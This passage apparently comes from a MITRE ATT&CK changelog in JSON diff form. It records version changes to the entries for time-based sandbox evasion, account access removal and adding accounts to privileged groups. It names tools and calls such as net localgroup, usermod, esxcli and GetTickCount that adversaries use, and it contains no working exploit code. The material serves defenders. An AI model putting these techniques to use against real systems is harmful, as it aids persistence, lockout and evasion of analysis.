environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\\n\\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,3 @@\\n-Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\\n+Adversaries may employ various time-based methods to detect virtualization and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. This may include enumerating time-based properties, such as uptime or the system clock. \\n \\n-Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\\n-\\n-Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\\n-\\n-Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)\\n+Adversaries may use calls like `GetTickCount` and `GetSystemTimeAsFileTime` to discover if they are operating within a virtual machine or sandbox, or may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. \"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.3\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"Joe Sec Nymaim\", \"description\": \"Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.\", \"url\": \"https://www.joesecurity.org/blog/3660886847485093803\"}, \"root['external_references'][2]\": {\"source_name\": \"Joe Sec Trickbot\", \"description\": \"Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.\", \"url\": \"https://www.joesecurity.org/blog/498839998833561473\"}, \"root['external_references'][4]\": {\"source_name\": \"Revil Independence Day\", \"description\": \"Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.\", \"url\": \"https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/\"}, \"root['external_references'][5]\": {\"source_name\": \"Netskope Nitol\", \"description\": \"Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.\", \"url\": \"https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique\"}, \"root['external_references'][6]\": {\"source_name\": \"Deloitte Environment Awareness\", \"description\": \"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.\", \"url\": \"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may employ various time-based methods to detect t1Adversaries may employ various time-based methods to detect 
>and avoid virtualization and analysis environments. This may>virtualization and analysis environments, particularly those
> include enumerating time-based properties, such as uptime o> that attempt to manipulate time mechanisms to simulate long
>r the system clock, as well as the use of timers or other tr>er elapses of time. This may include enumerating time-based 
>iggers to avoid a virtual machine environment (VME) or sandb>properties, such as uptime or the system clock.   Adversarie
>ox, specifically those that are automated or only operate fo>s may use calls like `GetTickCount` and `GetSystemTimeAsFile
>r a limited amount of time.  Adversaries may employ various >Time` to discover if they are operating within a virtual mac
>time-based evasions, such as delaying malware functionality >hine or sandbox, or may be able to identify a sandbox accele
>upon initial execution using programmatic sleep commands or >rating time by sampling and calculating the expected value f
>native system scheduling functionality (ex: [Scheduled Task/>or an environment's timestamp before and after execution of 
>Job](https://attack.mitre.org/techniques/T1053)). Delays may>a sleep function.(Citation: ISACA Malware Tricks)
> also be based on waiting for specific victim conditions to  
>be met (ex: system time, events, etc.) or employ scheduled [ 
>Multi-Stage Channels](https://attack.mitre.org/techniques/T1 
>104) to avoid analysis and scrutiny.(Citation: Deloitte Envi 
>ronment Awareness)  Benign commands or other operations may  
>also be used to delay malware execution. Loops or otherwise  
>needless repetitions of commands, such as [Ping](https://att 
>ack.mitre.org/software/S0097)s, may be used to delay malware 
> execution and potentially exceed time thresholds of automat 
>ed analysis environments.(Citation: Revil Independence Day)( 
>Citation: Netskope Nitol) Another variation, commonly referr 
>ed to as API hammering, involves making various calls to [Na 
>tive API](https://attack.mitre.org/techniques/T1106) functio 
>ns in order to delay execution (while also potentially overl 
>oading analysis environments with junk data).(Citation: Joe  
>Sec Nymaim)(Citation: Joe Sec Trickbot)  Adversaries may als 
>o use time as a metric to detect sandboxes and analysis envi 
>ronments, particularly those that attempt to manipulate time 
> mechanisms to simulate longer elapses of time. For example, 
> an adversary may be able to identify a sandbox accelerating 
> time by sampling and calculating the expected value for an  
>environment's timestamp before and after execution of a slee 
>p function.(Citation: ISACA Malware Tricks) 
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0141: Detect Time-Based Evasion via Sleep, Timer Loops, and Delayed Execution" + ], + "dropped": [] + } + } + ], + "minor_version_changes": [ + { + "type": "attack-pattern", + "id": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-09 18:48:31.906000+00:00", + "modified": "2025-10-24 17:49:14.836000+00:00", + "name": "Account Access Removal", + "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials, revoked permissions for SaaS platforms such as Sharepoint) to remove access to accounts.(Citation: Obsidian Security SaaS Ransomware June 2023) Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).\n\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1531", + "external_id": "T1531" + }, + { + "source_name": "CarbonBlack LockerGoga 2019", + "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.", + "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/" + }, + { + "source_name": "Unit42 LockerGoga 2019", + "description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", + "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/" + }, + { + "source_name": "Obsidian Security SaaS Ransomware June 2023", + "description": "Obsidian Threat Research Team. (2023, June 6). SaaS Ransomware Observed in the Wild for Sharepoint in Microsoft 365. Retrieved October 5, 2025.", + "url": "https://web.archive.org/web/20230608061141/https://www.obsidiansecurity.com/blog/saas-ransomware-observed-sharepoint-microsoft-365/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Hubert Mank", + "Arun Seelagan, CISA", + "Liran Ravich, CardinalOps" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "SaaS", + "IaaS", + "Office Suite", + "ESXi" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Modification\", \"User Account: User Account Modification\", \"User Account: User Account Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.836000+00:00\", \"old_value\": \"2025-04-15 19:58:58.987000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials, revoked permissions for SaaS platforms such as Sharepoint) to remove access to accounts.(Citation: Obsidian Security SaaS Ransomware June 2023) Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\\n\\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).\\n\\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. \", \"old_value\": \"Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\\n\\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).\\n\\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. \", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\\n+Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials, revoked permissions for SaaS platforms such as Sharepoint) to remove access to accounts.(Citation: Obsidian Security SaaS Ransomware June 2023) Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\\n \\n In Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\\n\\n* Event ID 4723 - An attempt was made to change an account's password\\n* Event ID 4724 - An attempt was made to reset an account's password\\n* Event ID 4726 - A user account was deleted\\n* Event ID 4740 - A user account was locked out\\n\\nAlerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\", \"diff\": \"--- \\n+++ \\n@@ -1,8 +0,0 @@\\n-Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\\n-\\n-* Event ID 4723 - An attempt was made to change an account's password\\n-* Event ID 4724 - An attempt was made to reset an account's password\\n-* Event ID 4726 - A user account was deleted\\n-* Event ID 4740 - A user account was locked out\\n-\\n-Alerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"Obsidian Security SaaS Ransomware June 2023\", \"description\": \"Obsidian Threat Research Team. (2023, June 6). SaaS Ransomware Observed in the Wild for Sharepoint in Microsoft 365. Retrieved October 5, 2025.\", \"url\": \"https://web.archive.org/web/20230608061141/https://www.obsidiansecurity.com/blog/saas-ransomware-observed-sharepoint-microsoft-365/\"}, \"root['x_mitre_contributors'][2]\": \"Liran Ravich, CardinalOps\"}}", + "previous_version": "1.4", + "version_change": "1.4 \u2192 1.5", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may interrupt availability of system and networkt1Adversaries may interrupt availability of system and network
> resources by inhibiting access to accounts utilized by legi> resources by inhibiting access to accounts utilized by legi
>timate users. Accounts may be deleted, locked, or manipulate>timate users. Accounts may be deleted, locked, or manipulate
>d (ex: changed credentials) to remove access to accounts. Ad>d (ex: changed credentials, revoked permissions for SaaS pla
>versaries may also subsequently log off and/or perform a [Sy>tforms such as Sharepoint) to remove access to accounts.(Cit
>stem Shutdown/Reboot](https://attack.mitre.org/techniques/T1>ation: Obsidian Security SaaS Ransomware June 2023) Adversar
>529) to set malicious changes into place.(Citation: CarbonBl>ies may also subsequently log off and/or perform a [System S
>ack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)  In W>hutdown/Reboot](https://attack.mitre.org/techniques/T1529) t
>indows, [Net](https://attack.mitre.org/software/S0039) utili>o set malicious changes into place.(Citation: CarbonBlack Lo
>ty, <code>Set-LocalUser</code> and <code>Set-ADAccountPasswo>ckerGoga 2019)(Citation: Unit42 LockerGoga 2019)  In Windows
>rd</code> [PowerShell](https://attack.mitre.org/techniques/T>, [Net](https://attack.mitre.org/software/S0039) utility, <c
>1059/001) cmdlets may be used by adversaries to modify user >ode>Set-LocalUser</code> and <code>Set-ADAccountPassword</co
>accounts. Accounts could also be disabled by Group Policy. I>de> [PowerShell](https://attack.mitre.org/techniques/T1059/0
>n Linux, the <code>passwd</code> utility may be used to chan>01) cmdlets may be used by adversaries to modify user accoun
>ge passwords. On ESXi servers, accounts can be removed or mo>ts. Accounts could also be disabled by Group Policy. In Linu
>dified via esxcli (`system account set`, `system account rem>x, the <code>passwd</code> utility may be used to change pas
>ove`).  Adversaries who use ransomware or similar attacks ma>swords. On ESXi servers, accounts can be removed or modified
>y first perform this and other Impact behaviors, such as [Da> via esxcli (`system account set`, `system account remove`).
>ta Destruction](https://attack.mitre.org/techniques/T1485) a>  Adversaries who use ransomware or similar attacks may firs
>nd [Defacement](https://attack.mitre.org/techniques/T1491), >t perform this and other Impact behaviors, such as [Data Des
>in order to impede incident response/recovery before complet>truction](https://attack.mitre.org/techniques/T1485) and [De
>ing the [Data Encrypted for Impact](https://attack.mitre.org>facement](https://attack.mitre.org/techniques/T1491), in ord
>/techniques/T1486) objective. >er to impede incident response/recovery before completing th
 >e [Data Encrypted for Impact](https://attack.mitre.org/techn
 >iques/T1486) objective. 
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Deletion)", + "DS0002: User Account (User Account Modification)", + "DS0026: Active Directory (Active Directory Object Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0120: Account Access Removal via Multi-Platform Audit Correlation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-05 20:49:49.809000+00:00", + "modified": "2025-09-26 18:25:02.290000+00:00", + "name": "Additional Local or Domain Groups", + "description": "An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain.\n\nOn Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod)\n\nFor example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) Adversaries may also add accounts to VPN user groups to gain future persistence on the network.(Citation: Cyber Security News) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges. \n\nIn Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1098/007", + "external_id": "T1098.007" + }, + { + "source_name": "Cyber Security News", + "description": "Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.", + "url": "https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/" + }, + { + "source_name": "Linux Usermod", + "description": "Man7. (n.d.). Usermod. Retrieved August 5, 2024.", + "url": "https://www.man7.org/linux/man-pages/man8/usermod.8.html" + }, + { + "source_name": "Microsoft Net Group", + "description": "Microsoft. (2016, August 31). Net group. Retrieved August 5, 2024.", + "url": "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754051(v=ws.11)" + }, + { + "source_name": "Microsoft Net Localgroup", + "description": "Microsoft. (2016, August 31). Net Localgroup. Retrieved August 5, 2024.", + "url": "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc725622(v=ws.11)" + }, + { + "source_name": "Microsoft RDP Logons", + "description": "Microsoft. (2017, April 9). Allow log on through Remote Desktop Services. Retrieved August 5, 2024.", + "url": "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/allow-log-on-through-remote-desktop-services" + }, + { + "source_name": "RootDSE AD Detection 2022", + "description": "Scarred Monk. (2022, May 6). Real-time detection scenarios in Active Directory environments. Retrieved August 5, 2024.", + "url": "https://rootdse.org/posts/monitoring-realtime-activedirectory-domain-scenarios" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Madhukar Raina (Senior Security Researcher - Hack The Box, UK)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-09-26 18:25:02.290000+00:00\", \"old_value\": \"2025-04-15 21:47:40.787000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain.\\n\\nOn Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod)\\n\\nFor example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) Adversaries may also add accounts to VPN user groups to gain future persistence on the network.(Citation: Cyber Security News) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges. \\n\\nIn Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022)\", \"old_value\": \"An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain.\\n\\nOn Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod)\\n\\nFor example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges. \\n\\nIn Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022)\", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,6 @@\\n \\n On Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod)\\n \\n-For example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges. \\n+For example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) Adversaries may also add accounts to VPN user groups to gain future persistence on the network.(Citation: Cyber Security News) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges. \\n \\n In Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Cyber Security News\", \"description\": \"Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.\", \"url\": \"https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1An adversary may add additional local or domain groups to ant1An adversary may add additional local or domain groups to an
> adversary-controlled account to maintain persistent access > adversary-controlled account to maintain persistent access 
>to a system or domain.  On Windows, accounts may use the `ne>to a system or domain.  On Windows, accounts may use the `ne
>t localgroup` and `net group` commands to add existing users>t localgroup` and `net group` commands to add existing users
> to local and domain groups.(Citation: Microsoft Net Localgr> to local and domain groups.(Citation: Microsoft Net Localgr
>oup)(Citation: Microsoft Net Group) On Linux, adversaries ma>oup)(Citation: Microsoft Net Group) On Linux, adversaries ma
>y use the `usermod` command for the same purpose.(Citation: >y use the `usermod` command for the same purpose.(Citation: 
>Linux Usermod)  For example, accounts may be added to the lo>Linux Usermod)  For example, accounts may be added to the lo
>cal administrators group on Windows devices to maintain elev>cal administrators group on Windows devices to maintain elev
>ated privileges. They may also be added to the Remote Deskto>ated privileges. They may also be added to the Remote Deskto
>p Users group, which allows them to leverage [Remote Desktop>p Users group, which allows them to leverage [Remote Desktop
> Protocol](https://attack.mitre.org/techniques/T1021/001) to> Protocol](https://attack.mitre.org/techniques/T1021/001) to
> log into the endpoints in the future.(Citation: Microsoft R> log into the endpoints in the future.(Citation: Microsoft R
>DP Logons) On Linux, accounts may be added to the sudoers gr>DP Logons) Adversaries may also add accounts to VPN user gro
>oup, allowing them to persistently leverage [Sudo and Sudo C>ups to gain future persistence on the network.(Citation: Cyb
>aching](https://attack.mitre.org/techniques/T1548/003) for e>er Security News) On Linux, accounts may be added to the sud
>levated privileges.   In Windows environments, machine accou>oers group, allowing them to persistently leverage [Sudo and
>nts may also be added to domain groups. This allows the loca> Sudo Caching](https://attack.mitre.org/techniques/T1548/003
>l SYSTEM account to gain privileges on the domain.(Citation:>) for elevated privileges.   In Windows environments, machin
> RootDSE AD Detection 2022)>e accounts may also be added to domain groups. This allows t
 >he local SYSTEM account to gain privileges on the domain.(Ci
 >tation: RootDSE AD Detection 2022)
